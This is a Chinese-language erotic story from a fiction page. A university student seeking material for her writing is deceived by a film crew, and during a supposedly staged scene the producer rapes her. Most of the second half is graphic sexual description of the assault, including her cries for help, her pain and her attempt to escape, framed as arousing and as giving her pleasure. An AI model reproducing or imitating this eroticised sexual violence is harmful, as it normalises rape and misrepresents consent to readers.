女作家的经历作者不祥

来源:人气:102更新:2024-06-03 13:06:11


  白婷婷是就读于某大学的中文系,尤于从小她就喜欢写作,所以她就立下志愿长大了以后,立志作一个作家。
  
  由于她的父亲平常很忙,而且婷婷从小就很乖很听话,所以她的父亲也很少管她。同时,由于她已经考上大学了,年龄也十八、九岁,不太可能受到社会及其它人的影晌而生活。婷婷她是一个很有主见的女孩,而且分析能力和观察力都很强。她喜欢生活在自己的天地里,因此是一个极端崇尚个人主义的少女。
  
  从小到大,她经常参加写作及演讲比赛,但是只要她一参加,准可拿到前三名。因此,她的闺房中的奖状、奖牌、奖杯,实在不可胜数。婷婷的身材均匀,长发披肩,眉清目秀,举止高雅,一身的晰白,而又光滑的肌肤,她的双峰隆起,凹凸分明,坚实的臀部微翘,无论她穿上任何服装,都可以把她的身材表露出来。她没有男朋友,虽然在高中的时候,有不少男同学追她,她都没有和他们相处太久,因为她认为这是一种缘份而已。
  
  有一天,婷婷放学回家途中,一边走一边仰望着天想着:「我现在该写什幺?什幺是我该写的?那一些是我曾经写过的?那一些是我所没写过的?什幺是我能看到的?那一些是我不能看到和体会到的?」她想着,反复地这样想着,似乎找不出什幺线索来,她很困扰。于是,婷婷在不知不觉中走到了西门町。那令有些人迷恋的西门町,灯红酒绿五光十色。每天晚上七、八点钟的时候,台北终结了一种生活,人们跃入另一个迷惑欢乐的世界中。在那里霓虹灯闪亮,一长列人群,支持着销金、遗忘与激情。
  
  到了午夜左右,疯狂的舞影高盘的笑叫结束了。狂欢的城市在黑暗中平息下来。虽然在黑夜中还有人在寻找光亮,不过大多已沉静了。他们疲倦无力地等待看次日的活动与次夜的狂欢,再度来临。
  
  这就是数十万台北市老少、已婚、未婚男性离办厂,办公室后,抵达家里前的一段长长地路程。
  
  这个世界上最大都市成了夜晚最大的欢乐场所,纽约、拉斯维加斯、迈阿密、东京都有夜生活,形形色色,有如万花筒般变化多端。
  
  婷婷终于来到一家夜总会的门口,她似乎看了外面的广告,开始对里面的表演,发生了兴趣。于是,她下定了决心,不顾一切地进入观赏。
  
  当她入内坐下时,她发现深藏的夜总会,里面的天花板上装着,一个会旋转的架子。台子上右两个美女,纷纷向观众骚首弄姿,炫耀她们的肉体。接着上来的美女,每个都穿了紧身短衣,若隐若现地暴露她们的乳房。
  
  没有多久,婷婷便走出了夜总会,心中想着,记着某事继续往前走。走不了多远,她又看到了酒吧,她停了下来,看了看,她走了进去。
  
  酒吧中灯光晕暗,隐隐约约地可以看到酒吧的酒女们在陪酒。婷婷找了一处坐了下去,一个穿着迷你裙的女侍走了过来,女侍问:
  
  「小姐,你要喝什幺?」「柠檬汁一杯。」女侍听了笑道:「小姐,我们这里是酒吧!不卖果汁的。」婷婷吃了一惊。又不太好意思地说:「那来一杯白兰地好了。」「好,谢谢,马上来。」婷婷内心想着:「刚才好糗哟!实际上,我是要来看看里面到底是什幺?好寻找写作的体裁的。」女侍把酒端了过来,放在桌子上,离去。
  
  婷婷开始把眼光看向四周,她发现男人们在和女人们谈天、休息、喝酒、思考、微笑、打情骂俏、亲吻、抚摸……这些都是她以前没有看见过的,但是她现在看到了。
  
  过了二十多分钟,婷婷付了钱,离开了酒吧走了出来。她朝着回家的路上走着。
  
  半个钟头后,她回到自己的房间,家中一片冷清和安静。
  
  因为从小婷婷就过惯了这种生活。
  
  她的父亲常忙于事业,母亲一力面帮着父亲,一方面充当爸爸的秘书。所以可以说婷婷是非常孤单的,而且家中地没有兄弟姊妹,只有单独她一个人。
  
  虽然,她小的时候,爸爸曾经请过佣人,可是当到她就读大学之后,婷婷就叫爸爸把佣人辞掉了,一切的家务事完全由她处理。
  
  因为她想训练自己,另一方面可以帮助她的写作,使得作品,更能与现实生活相贴切。
  
  她换好了睡衣,钻入了棉被中,两眼张的大大的,一点也没有睡意,她脑中想着,刚才地所看到的一切情景,心想:
  
  「在酒吧里,男人是主顾,女人是商品,只要你出价,随时随地都可以购买各式各样的美丽和温情,女人们的狂欢、笑声、微笑、肉体上的感触,到底她们有什幺感觉呢?我不知道。」婷婷慢慢地开始对这个问题感到兴趣,也感到好奇,她想:
  
  「做一个作家,既然要从事实际写作,亦无法体会到那些女人的生活,真是罔然。」因为她始终想做一个写实的女作家,但是又苦于无经验,她十分的苦恼。渐渐地,她就睡着了。
  
  过了几天,婷婷还是想不出其它的社会体裁来写。但是,那一天晚上的这问题,不断地涌上了脑海,她想排除不想,又觉得可惜,想了又写不出来,因为她必竟不是那些女人,也没有体会过她们实际的生活,所以不敢尝试她们。这个问题一出现,到现在就前前后后,断断续续在她的内心涌上,似乎愈涌愈烈,使她的生活慢慢地发生了改变。
  
  婷婷在这个两、三个月剧烈地变化当中,好象开始有了眉目,地想着:
  
  「如果她能投入她们的行列,体验到她们的生活,这封她的写作自然有大大的帮助。」婷婷开始有了这种想法,她想:「如何去说服父亲和母亲,这是一大障碍。」时间又过了几天,这几天婷婷一直在想解决这个障碍的方法。她终于想到了一个方法了,她想:「如果骗父母到国外旅游半年,然后再从机场偷溜出来,再利用这个半年去体验那些从事特殊行业的生活就可以行得通。」她高兴叫着跳着,总算想出了解决的办法,于是她开始行动。
  
  某一天,婷婷的父母在中正国际机场送她上飞机,当婷婷父母离去后,婷婷从出境室溜了出来,坐上出租车直奔向台北。
  
  当婷婷一到台北,她先把行李搬入预先租好的公寓中,然后换上了普通的妆扮,开始她的体验。
  
  婷婷的目标是在从事特殊、新奇的行业中之女性,一一记录下来,好当作以后写作的社会写实材料。
  
  她先到一家传播公司,该公司在招考演员,准备将来捧成明星。首先以婷婷的姿色,优先被录取了,她被载到他们的片厂。
  
  实际上,不是什幺片厂,是租的一幢别墅,当她一进入别墅里,所有的拍摄工作已经就绪了,男女主角也在现场了。
  
  今天,婷婷只是先来观摩的,女主角不是她,她已经被定为下一部片子的女主角。
  
  当导演开始喊出:「开麦拉」的时候,男女主角上场开始演戏。
  
  女主角是演一个货车司机的太太,当她出现在眼前时。她穿着时下最流行的蕾丝睡衣,正准备上床就寝的样子。
  
  这个时候,门铃响了起来。
  
  她连忙加披一条罩衫在身上前去开门。
  
  进来是一个三十多岁的男子,身体很魁梧,但不很英俊。他是女主角丈夫的同事,他正是戏中的男主角。
  
  男主角来告诉女主角说:
  
  「你的先生今晚出差到高雄去了,要到明天晚上才会回来。」男主角说完了,就要离去。
  
  这个时刻,女主角身上披着的罩衫不小心滑了下来。男主角一回头看着女主角,他的眼神立刻变了一个样子。
  
  他迅速反身锁上了门,一步一步向女主角逼了过去,一副饥渴的样子。
  
  女主角露出了惊慌的神色,内心害怕着他的举动,慢慢地向后退着。男主角突然地,来了一个饿虎扑羊的姿势扑了过去。
  
  男主角抱住了女主角,两人翻倒在床上,翻着滚着,拉扯着女主角的睡衣。
  
  这个时候,女主角的蕾丝睡衣,已经被男主角扯裂开了。
  
  婷婷的心里,开始蹦蹦地跳动着,不禁内心有一点害怕了。
  
  眼前突然出现了两个跳动不休的巨大乳房,睡衣已被扯了下来。
  
  婷婷的心脏,已经随着跳动的乳房,七上八下地急骤跳着。
  
  一阵挣扎之后,眼前的女主角已经是全身赤裸。毫无遮蔽避。
  
  婷婷可以很清楚地看到她的乳房和臀部,女主角半侧卧着。
  
  当女主角转身过来时,她的阴户并没有被暴露出来。因为男主角的一只巨大的手,按在女主角的阴部上面。
  
  两个裸体的男女主角相贴着,而且是紧紧地毫无空隙的。
  
  但是,婷婷看到男主角的阴茎,并没有插进女主角的阴户里去,所以她松了一口气。只看到两人的臀部不停地起落着。
  
  女主角拼命地在扭动挣扎着,由女主角的眼神得知道。
  
  显然地,她已经被男主角激起了情欲。
  
  婷婷的面颊有点开始发热了。
  
  她看到女主角的两腿,已经夹住了男主角的腰部,似乎一点地不放松。女主角的双手也扳紧了男主角的肩头,而这个时刻,女主角也喘息急促。
  
  男主角同时也伏在女主角的身上,一动也不动了,像似两人已经停止了动作。
  
  婷婷慢慢地觉得很奇妙,把目光移到了男主角的臀部上。只看见臀部肌肉一阵一阵抽搐着,暗示说男主角正在愉快地射精了。
  
  男主角已经穿好了衣服。女主角仍然裸着侧卧在床上。
  
  「对不起,太太,请你忘掉这件事。」男主角说。
  
  「不,我会永远的记得的。」男主角衣服穿好,似乎要走了。
  
  「不,不要走!」「太太,还有什幺吩咐吗?」「请……请你再来一次。」「难到你……你不恨我吗?」「不…一点也不!」女主角渴望着说道:「我从暴力中得到爱,我要你干我,狠狠地干我,就是把我干死了,也无所谓。」当男主角听完了以上的话,又把衣服脱了。
  
  两人又恣狂一番,可是这一次是女主角主动发起的攻势。
  
  然后,导演喊了「卡!」所有一切的动作都停止了,只有床上的两个男女主角的身体皮肤,还在颤动着,似乎一时无法使皮肤肌肉安静下来。
  
  影片拍摄结束后,导演走到婷婷的身边和她打招呼,问道:
  
  「请问小姐芳名?」「我叫婷婷。」「哦!原来是婷婷小姐,请你跟我来。」婷婷跟着导演走到了另一个房间,房间内只有他们两个人,导演把门带上。
  
  「婷婷小姐,请坐。」「谢谢!」「刚才我听制片人说,你是下一部片子的女主角。」「不……不敢当!」婷婷害羞回答着。
  
  「你曾经演过戏吗?」「没有!」「喔!你对演戏有兴趣吗?」「有!」「那就好。」「可是……可是我没演过?」导演用安慰的口吻道:
  
  「没关系,你放心好了,到了时候,我们会教你的。」导演从桌上拿了一本笔记本,念道:
  
  「下一次,你将饰演“一个女学生的经历”。」婷婷听到「女学生」连忙答道:
  
  「这个我会演,只要不要和男人发生关系,被拍摄出来,就好了。
  
  「当然我们不会的,但是在『性』方面的恣狂,只是我们在镜头上的运用罢了,你尽可能放心,我们也不会帮你做脸部特写的。」「谢谢!谢谢!」「你还有什幺其它问题吗?」「我想没有了。」「好!那你先回去,对了……」导演把「一个女学生的经历」的剧本,交给了婷婷,道:
  
  「你先带回去看看,同时把台辞背好,三天后,我们就开始开拍。」婷婷一副感激的脸孔,连忙道:
  
  「谢谢导演,谢谢导演。」然后,导演送婷婷离去。
  
  这两天,婷婷在自己的公寓中,研读剧本,内心不仅掀起一阵喜悦;她想:
  
  「这是我第一次亲身踏入社会,可是没有想到会有这幺顺利,第一部片子,就当了女主角,虽然,她所看到的影片拍摄有一点暴露,但是在她手上的剧本中,并未发现有需要暴露之处,而且导演也一再保证,绝对不会有任何会伤害到她的画面,于是她就更加安心了,更何况此次出来,就是要来体会各行各业的生活,只要自己谨慎小心,一定可以满载而归的。」婷婷一边想道,一边记在自己的日记本子上。
  
  她知道剧本中「一个女学生的经历」是一个女学生放学后,在走回家的路上,碰到了几个不良少年。而被他们带到一间空屋中,遭受侮辱,然后,被巡逻警察救获的故事」。所以婷婷相当的放心,认为不可能发生任何意外的。
  
  第三天的晚上,婷婷很早就睡了。因为她晓得拍片是相当辛苦,有时候也需要熬夜的,把睡眠睡饱了,对自己的精神和脸色,会有相当的帮助,也可以使自己的体力持久而不累。
  
  婷婷已经沉睡在梦乡之中,同时在睡觉之前,她已把闹钟调好了,所以她安心地睡了。
  
  一大早……闹钟突然响起,婷婷起床,把应该做的事都做完了,很早就到片厂去,因为她想给大家一个好印象。
  
  片厂的工作同仁,像上次一样地工作。
  
  婷婷一一跟所有的人打了招呼。
  
  她看见导演从外面走了进来。于是,婷婷迎了上去,道:
  
  「导演,早!」「早!怎幺你还没换衣服啊?」婷婷看了自己的穿着一下,不好意思,说:
  
  「嗯!我马上去换!」「好,赶快去换。」婷婷转头欲走,被导演叫着:
  
  「婷婷小姐!对了,等一下我们演戏的时候,我们的不良少年的领头老大制片自己演。」「好,没关系。」「对了,如果一开始拍,我如果没有喊『卡』,你们不可以停下来…很多时候甚至于要重来。」「好,我记得了。」「还有如果我喊了『卡』,你们不要随便乱动,因为一切动作、位置要连戏,更不可以一边演一边说剧本上以外不必要的话。」「哦!」「你都记住了吧?」「嗯!我都记住了!」「好吧!你去换衣服吧!马上我们就开始拍了。」婷婷拿了衣服,到洗手间里去换。
  
  过了十分钟……所有的人员似乎都准备了,导演喊了:
  
  「准备好了没有?」纷纷传来「好了」的回答。
  
  婷婷穿着大学生的制服,手上拿了几本书,站在一旁,看着导演。因为此刻导演在讲解,当这个女学生被几个不良份子,抓到一间空屋子里来,遭受到凌辱的过程,似乎所有的演员都专心地听着。
  
  五分钟过后,导演问演员:
  
  「听懂了没有?」演员们一一点头回答导演。
  
  导演看了一看,所有的准备工作就绪了,他便大声喊到: 「就位!」 导演口令一下:「卡麦拉!」只看见几个不良少年押着婷婷走到房间里。 婷婷一副害怕的面孔,一双又黑又大的眼睛,打量四周的环境。 房间内空无一物,眼前只站了几个色眯眯的大男人和孤单的自己。 婷婷内心开始表现出惧怕,她的双手紧紧地把书本抱在胸前。那几个大男人一步步地逼近,脸上不停地露出了淫笑。她一步一步地往后退着,退了两三步之后,她的背后已经碰到墙了。他们继续向前逼近,婷婷也开始把身体慢慢移向墙角。于是,婷婷感觉到自己已经没退路了,背部紧紧靠在墙角上。他们愈来愈近了。
  
  突然,婷婷把手上的书本丢了过去。 几个大男人一闪,他们又站回到原位。 这时,他们已经站在婷婷的面前,其中一个伸出了手,摸摸婷婷粉嫩的脸蛋,说道: 「这个小妞挺漂亮的,我们大家来尝尝。」 那个家伙正想动手,只听到「住手」一声,那几个家伙楞住了,同时也回头看。
  
  站在他们眼前的是一个高大粗壮又结实的男人,他们一看,吓了一跳,叫道: 「老大!」 「嗯!」 那个男人问着他们: 「你们又在干什幺坏事了?」 「没……没有,老大……」那个男人走了过来,又问道: 「还没有,这是什幺?」 他用手指着婷婷说: 「她是那儿弄来的?」 「嘿……嘿……是是…是在路上抓来的……不…不……不是抓来的是……是她自愿跟我们来的……」有个家伙回答。 「哦!那怎幺没有女孩子跟我呀?」 「……这……」 「你们又在骗我,你们给我小心。」 「不敢,老大,我们不敢。」 「好了,你们出去。」 「是是,老大!」他们一边回头看,一边觉得实在可惜了,没想到这块天鹅肉会落入老大的手里。
  
  这个老大不是别人饰演,就是制片自己,一副老于世故的样子。 他走到婷婷的面前,用手轻轻摸了摸婷婷的脸、颊、颈、耳和秀发,最后托着婷婷的下颔,他说: 「嗯!真是一个美人胚子。」婷婷又用害怕的眼光看着他,一动也不敢动。 他抓着婷婷的手,举了起来。婷婷用力反抗,可是他的手愈用力,似乎一点也无法松脱开来。他把婷婷打量了一番。 她身穿学生制服,下着裙子,一双白袜子和黑鞋子,小腿挺直地并拢,紧贴在墙角上。他突然动手想脱下婷婷的上衣外套,但是没有成功,因为婷婷把身体紧贴在墙上。
  
  老大见脱她衣服不成,骤然,双手楸住了婷婷的双臂,嘴巴朝婷婷脸上,一阵乱吻。婷婷不停地用脖子扭动,来闪避他的亲吻。老大虽然没有吻到婷婷的嘴唇,也吻到了她的面颊和粉颈。婷婷感到身上一阵热力侵袭,但是无法把他的身体推开。
  
  老大见她不太温驯,也十分不悦,可是他是不会罢手的。他用胸部压着婷婷的上身,使她动弹不得,又一方面,双手在婷婷娇躯上摸索了起来。
  
  婷婷首先感觉到的,就是一双灼热的手掌,在她的双峰之间,不住的推揉着,一股一股的电流,不断地由乳峰缓缓遍传全身。婷婷开始大喊: 「不……不要……救命……救命呀……」他却不加理会,反而双手更加大胆地,在她酥胸上挤压了起来。虽然,他的双手是隔着几层衣服挤压着,但是衣服的磨擦,使得婷婷十分难受。随着老大手掌的揉动,婷婷贴身的奶罩在乳头上磨擦着,阵阵的磨擦热传到了婷婷的胸中。她只觉得这是一种说不出的滋味,一种从未经历的滋味,似难受,又似舒服! 「嗯……嗯……」她忍不住轻轻地哼出了声音。 老大在乳房上揉弄了一番,迅速地把双手移到了腰部,在那里按索着。
  
  可是由于婷婷所穿的学生裙十分的紧,实在是无法摸到阴部。他把双手挪到了臀部的上面,在粉臀上又摸又揉,弄着婷婷全身不自在。当他动作太过剧烈时,不小心手被裙子的拉链刺了一下。这个时候,他才反应过来,应该从那里先动手。正准备动手时,婷婷双手阻止他。老大灵机一动,双手突然把她搂紧不放。婷婷感觉到呼吸突然困难,双手一松。
  
  老大用臀部撑着她的手,右手拉着拉链,猛力滑了下去。顿时,婷婷的学生裙后面开一个洞。
  
  他双手用力一扯,整个裙带断了。婷婷正想用手把裙子拉着。只可惜已经慢了,他迅速蹲了下去,把裙子拉到了脚根。然后,老大快速地站立起来。婷婷本能反应着,双手掩盖着她的阴部。老大的双手马上又转移了阵地,把婷婷的上衣用力连扣子一起拉开。
  
  这个时候,婷婷的奶罩已经露了一点在外面,她把右手移上来保护乳房,左手则按兵不动地遮盖阴部。 老大此刻停了一下,似乎在考虑到应该从那一个地方下手。他双手伸入学生衬衣里把衬衣连外套剥了下来。但是衣服并没有掉下来,只是肩口落了下来而已。可是婷婷的双手正好被束缚在背后,就如同被绳子捆绑一样。
  
  顿时,显露在老大眼前的是一个漂亮晰白肌肤地少女胴体。这时,婷婷身上只剩下一件纯白色的奶罩和一件半透明的蕾丝内裤。婷婷在挣扎,可是被两面墙包围了,而且前面还有一座人墙。
  
  老大开始淫笑,用手摸着婷婷细滑柔嫩的肌肤,道: 「哈哈……哈哈……哈哈……真是一个大美人……真不愧是上帝的杰作……哈哈……哈哈哈……哈哈……没想被我得到了……」他一阵一阵的淫笑,使得婷婷神智一清,芳心中不由得渐渐地害怕了起来,叫道: 「救命呀……救命呀……」 「小妞,你在喊给谁听……」「待一会儿,要是有人,你可就麻烦了……」 「哈哈……哈哈……这个附近连一个鬼影子也没有,嗯……更别谈是人了……哈哈……哈哈……今天……你可是我的人了……哈哈」他双手伸到婷婷的胸前,一手按着她的乳房,一手拉着奶罩。老大用手试了试,同时把双手移到婷婷的胸口,用力一扯,奶罩的带子断了。他把乳兜褪到背后,接着把头放在乳尖上,用舌尖舔了一舔奶头。 婷婷感到一阵酸麻,胸部颤抖了几下。
  
  老大把右手压在婷婷的左乳房上,捻着乳尖,又揉又搓抚弄了起来。左手把右乳房端了起来,用嘴巴吸、舐着红嫩嫩的奶头。婷婷的奶头被弄得涨了起来,仿佛像红嘟嘟的樱桃般那幺大。她全身一阵酥一阵麻,口中竟不知不觉地哼了起来: 「……唔……唔……哦……哦……啊……啊……」 婷婷的双脚不停地颤抖着,好象虫蚁在她的身上搔痒一般。婷婷的阴户里开始发热、发烫,开始慢慢地沸腾了。这是她从来没有过的感觉。
  
  经他这幺一玩弄,婷婷已经不知道戏已经演到那里去了。婷婷口中在呻吟,身体在抖动着。
  
  老大如此抚弄着她的双峰已经有一会儿了,他吸完了这个,吮那个,吮完了那个,舐这个,舐完了这个,舐那个,如此仔细品尝着婷婷刚发育完成的玉乳。
  
  过了有一会儿,婷婷突然觉得子宫内有一股热烫烫的液体在流动。骤然,只感觉「噗!噗!噗!」一连三下,婷婷的阴精流了出来, 这种感觉只有婷婷才会晓得,就好象她的月经来潮了一样,从她的嫩屄之中,一股一股地冒了出来,把蕾丝的白色内裤都浸湿了。
  
  依老大的经验判断似乎应该是差不多了。这个时刻的婷婷已经灵魂儿在半空中飘来飘去,如喝醉酒一般。他把右手在婷婷的阴阜上掏了一把。婷婷仿佛好象一个在沉睡的婴儿,被某种声响吵醒来一样。老大的右手在婷婷的白色内裤上掏了一手的淫水,滑了下来。
  
  老大笑了笑,道: 「哈哈……小妞……怎幺了……等不及了……自己先来了……哈哈……没有想到……嘿嘿……你很敏感嘛……哈哈……」 老大开始脱着自己身上的衣服,一边脱一边说: 「……嘿嘿……小宝贝……不会……不会让你等太久的……马上就脱完了……」婷婷一边回想自己的台辞,一边用害怕的表情演着戏。婷婷惧怕道: 「……不……不……不要,我……我不要……」 老大最后把内裤脱了下来,向她走了过来。 他淫笑着,说:「……哈哈……哈哈……小宝贝……我来了……我来……」婷婷第一次正视男人的阴茎,而且是正面看着阴茎直立在阴毛的中间。那个乌黑的大肉棍,直挺挺地约有七寸多长,挺立在他的两腿之间,龟头大如小鸡蛋,紫红发亮,雄纠纠的,像是在向她示威一般。老大的身体还没接触到婷婷,龟头便已经先顶到了她的阴户。
  
  婷婷大声呼救: 「……救命呀……来人啊……救命呀……来人啊……救命呀……救命呀……」 她拼命大声地呼叫着,就如同有一个烧火了的铁块烧到她一样。 老大先用右手紧握阴茎,在婷婷湿润的白色内裤上乱顶乱插着。婷婷愈来愈怕,全身冒汗,不知如何是好。
  
  老大蹲了下去把婷婷的白色蕾丝内裤褪到腿根上,然后,又淫笑地站了起来。他又像刚才一样握住肉棍顶着她湿淋淋地阴户,同时用龟头在阴户的阴毛上擦着。
  
  这个时刻,婷婷的阴户已经没有蕾丝内裤的保护了,完完全全地裸露在老大的面前。
  
  虽然,婷婷想极力的反抗,但是已经是无法闪避逃脱了。老大把身体压了过来。顿时,婷婷只感觉到如一团火似的灼热着自己娇躯之表面。老大把嘴唇紧贴在她的香唇上,近似疯狂地在上面吻压着。他的右手掌和前胸在乳房上猛磨轻按着,就像在揉面团一般。同时他的那根阴茎,在婷婷的小腹和阴户上又顶又磨着,阴茎就如同木头撞门一样在撞着阴户。
  
  这个时刻,婷婷的呼吸变快,因为给老大压得喘不过气来了。但是,如此的爱抚,是婷婷永远无法单凭想象,所能形容出来的。
  
  婷婷逐渐开始发酥、发痒、发麻了,慢慢地她屈服了。她似乎已经可以开始用行动举止来和其它的人作勾通了。 老大紧紧的抱着婷婷的粉颈,并且把舌头伸进她的小嘴里,猛搅狠吸吮着,使她的舌根发酸又痛,婷婷想逃也逃不掉。 老大大概已经有三十多岁了,由他的举动可知道,他是一个采花老手,是不会错的。到了这种地步,他依经验判断,晓得时机已经成熟了。 她那洁白如乳汁的肌肤,袒露出的乳房,「噗通!噗通!」的跳着,看得他欲血沸腾。
  
  婷婷那一身洁白滑嫩的肌肤,两个丰满的乳房凸凸地挺在胸前。那两片滑润的阴唇,好象两片含苞的花瓣,高高突起,若隐若现地一张一闭着,两阴唇之间,还含着透明晶莹的淫水,丰厚有余,看了令人好不心动。阴阜上的细长整齐地阴毛,黑油油地长在阴户上,就如同地上种植了毛茸茸的草皮一样,卷卷弯弯地遮盖在嫩屄的外面。
  
  于是,他把头低下,伸长了舌头,往她的胴体上猛舐着。老大把头由上往下移动,舔舐着粉颈、酥胸、肚脐、小腹,直达到茸茸芳草覆盖的神秘的三角地带,一口含住阴唇肉缝上端敏感的阴蒂! 「啊……」 婷婷的身体,不但没有被男人触摸过,更说不上用舌头舔弄过。因此,婷婷那受得了这种强烈的剌激。一时,她的血脉贲张,细腰扭摆,双腿也不由自主地颤抖着。
  
  婷婷小嘴儿也开始哼着: 「……唔……唔……嗯,嗯……唔……唔……哎……哟……哎……哟……」老大双手把阴唇向两边拨开,把舌头伸了进去。猛舔狠舐着嫩屄,饥渴地吸着嫩屄内的甘泉,以求止渴。
  
  婷婷本能反应,处女的私处遭受攻击,不由得自然地把大腿轮流抬了起来,阻挡他的攻击。这样可以使婷婷稍稍喘一口气,因为她的双手被衣服束缚在后背,一时无法动弹。
  
  但是此刻的老大,正当尝到了甜头,那里肯就此罢休呢?老大又继续用双手压着婷婷的玉腿,又将舌头在阴户外舔着。如此这样,大概过了十几分钟。老大蹲在地下,那只阴茎挺得直直的,夹在他自己的两腿之间热呼呼地。于是,他站立了起来,阴茎这个时候已经和他身体垂直,还要仰得更高了。
  
  老大压在婷婷的身上,挺动着屁股,粗壮的阴茎,朝着小嫩屄乱顶乱刺着。也许老大没有用心顶,或许他没有对准屄口。所以龟头根本不得其门而入。
  
  但是就因为老大乱顶乱刺,使得婷婷阴户内外痒痒的,异常的难受。 婷婷因为不曾被男人干过,所以不知道女人的阴户,不论阴茎大小,都可以照进不误。
  
  她被那根巨大粗硬的阴茎,吓了一跳,吓得全身一直冒着冷汗,不知所措。 而且导演的剧本上也不曾这样写着,只写着「在空房中遭受凌辱」,同时,导演也一再保证,不会有这种事发生,更不会拍摄进去。
  
  婷婷内心想着: 「我能喊停吗?可能会引起导演不高兴,而且导演也交代过,如果他不喊停,任何人都不能停,更何况他说不会让我吃亏的,还是继续演吧!」 老大还是不停地用龟头触着她的阴户。
  
  婷婷又开始呼救: 「……救命呀……救命呀……快……快……救命呀……来人啊……快来人啊……快来人…救我……快来人……救我呀……来人呀……救命啊……」 婷婷一连叫了数十声,可是救星并未出现,她又继续喊叫: 「……救命呀……救命呀……救命啊……来人……快来……人呀……救命呀……」婷婷开始觉得奇怪,问自己:
  
  「为什幺演警察的人还不来?是不是忘了?还是演员不在?还是睡着了?」一个个疑问涌上婷婷的心头,她似乎忘了有人正在与她做爱,不!应该说是在强奸她,她的神智已在思考这些问题,一时之间肉体似乎忽略了这些感官的刺激! 老大用右手握住了阴茎朝婷婷的嫩屄口插了进去。
  
  这时,婷婷神智一清,她的阴户感到一阵刺痛。 婷婷把头低下看了一看。只见老大的龟头已经进入了半截,她晓得大事已经不妙了。 老大又用力一顶,只听见「滋」一声,七、八寸长的肉棍又进了一截。 婷婷从来没有这种感觉,阴户里面涨得发痛,痛苦十分。 「……啊……痛……痛……好痛……啊……哎呀……」老大这幺一插,插得婷婷哇哇大叫,眼泪从眼眶中流了出来。 老大的龟头感觉得出,阴道里头好象有一道坚韧的薄膜挡住了。他晓得婷婷大概还是一个处女吧。
  
  于是,老大全力一顶,只听「迫」的一声,捅破了处女膜!他打铁趁热,不顾婷婷的嘶叫,再用力一顶,二顶…七寸多长的大肉棍便整根侵入婷婷的处女嫩屄。他想趁胜追击。
  
  奈何婷婷痛叫呼喊着: 「……哎哟……哎哟……痛……痛……痛死了……痛死人了……你……你……你……你……真的……真的把我沾污了……沾污了……你好坏……你好坏……好……好狠……啊……哎呀……啊……」婷婷疼痛着哭了起来,娇躯不断地抽搐着,疯狂地扭动着。 老大眼见她痛哭流涕,也不顾了。他开始轻轻地抽出阴茎,然后狠狠地插了进去。 「……你……你要死了……啊……啊……你不能……不能再插了……啊……救命呀……唉呀……痛……痛死我了……我……我的阴户……阴户快……快裂开了……唉呀……啊……啊……不……不要……救命呀……痛呀……痛……痛死了……啊……」老大听到婷婷的哀叫求救声愈大,他的热血愈加沸腾,抽插得愈起劲。 婷婷开始一直哭个不停,好象已经不能控制了,她的声音变得沙哑了。 老大见她一直如此,抽插了五、六十下后,突然心存怜悯,把阴茎抽了出来。 阵阵淫水随着肉棍儿,加上了一丝丝的处女血「吱……吱……吱…」的声响流了出来。 婷婷全身向他扑了下来,于是,老大把婷婷抱着。
  
  他一边把婷婷放在地上坐着,一边把婷婷脚上的裙子和内裤及背后的外套、衬衫、胸罩全脱了下来。老大把衣服在地上,当做一张毯子用。
  
  婷婷赤裸着身体,坐在冰冷的地上。 老大过来抚慰着婷婷,使她能够安静下来。可是,事情却不然,她开始又哭又闹。 想把婷婷抱到地上放着衣服的地方去。但是,婷婷不肯迁就他。突然站了起来,向门口跑了过去。
  
  老大一看,大事不妙,来了一招「恶虎扑羊」扑了上去。只听见「拍」的一声巨响。老大全身压到婷婷身上,婷婷受不了过重的压力,整个身体正面扑倒在地。婷婷的乳房碰到地上,发出了巨响。 快速地爬了起来,把婷婷拖到衣服那一边去,费了九牛二虎的力量,给拖到了。
  
  婷婷一边在地上耍赖,一边在地上爬着,全身弄得黑一块白一块的,叫人好心痛。她抗拒着、反抗着,像一只很难驯服的野马一般顽强地抵抗着。
  
  老大也顾不了那幺多了,他又再度地扑到婷婷的身上去。他全身压在婷婷的身上。使得婷婷仰躺在地上,双脚不停地乱踢乱蹭着,像在抗议一样。右手从婷婷的腰际滑下,然后用右手按在她的嫩屄口。他用手开始轻轻地挑弄着婷婷敏感的阴蒂。
  
  婷婷感觉到有人在她的阴户上搔动,便本能地把柳腰摇摆了起来。 老大继而伸出了中指,朝着嫩屄缝,直至滑下,往嫩屄内插了进去。婷婷顿时,全身一阵寒颤抖动着。 他缓慢地抽插、抠、钻、撩、挖等,一一做着。 婷婷在他剧烈地挑逗下,玉体不停颤动着,双腿用力夹、踢着。她咬紧了牙齿,在嘴里传出了: 「……唔……唔……嘘……嘘……嗯……嗯……哦……」 老大如此玩弄着婷婷已经有十多分钟了,他丝毫一点也不肯停下来。 又过了几分钟,似乎情况又有了改观,婷婷哼着道: 「唔……唔……好痒……啊……啊……我……我……我受不了……我受不了了……啊……哦……哦……哎呀……哎呀……我……我……我好痒哟……好痒……啊…… 啊……不……不……不行了……」 老大看到婷婷如此的呻吟。此刻,他的阴茎挺得更高,涨得更大足有八寸长,还不断地抖着,实在是饥渴死了。 于是,他又展开了,另一回合的攻势。
  
  首先,老大把右脚跨到婷婷的两腿中间。然后。用他的大腿在她的阴阜上磨擦着,使婷婷一阵一阵地阴部发热。
  
  过了一会儿,他再把上身压到婷婷的娇躯上,用他的胸部在她的酥胸上擦磨着。这个时候,婷婷上半身渐渐地热了起来,乳头也逐渐地发麻鼓了起来。接着老大把左脚也跨到婷婷的两脚之间。
  
  现在,婷婷仰躺成了「大」字形,然而,老大则俯卧成「|」字形了。 他们俩人肉体上的接触,似乎已经就绪完成了。 然后,老大开始作怪了,他双手撑在婷婷的腋下,把身体上下移动着。 这种方式,不但能使老大的胸部受到乳房的磨擦着。而且老大的龟头也可以在婷婷的阴户上压擦着,使他们彼此获得快感。 婷婷娇躯被老大擦刮着,芳心正发痒着: 「……唔……唔……哦……哦……嗯……嗯……痒……痒……好痒……」老大见婷婷开始发浪了。于是,他把胸部压在婷婷的乳房上。双脚用脚尖蹬在地上,使身体成为弓字形。他用右手握着龟头,眼睛瞄着嫩屄,正在使龟头对准屄口。
  
  婷婷被他压得喘不过气来,想推又推不掉。只觉到老大把屁股一挺,腰部从上面压了下去,「噗滋」一声,整根八寸长的大肉棍全部插入嫩屄中。
  
  婷婷连声大叫: 「……啊……痛……痛……痛死了……啊……啊……不……不要……」她晓得她自己求救无门,只有依靠大叫,来表达阴户内部的疼痛之苦。
  
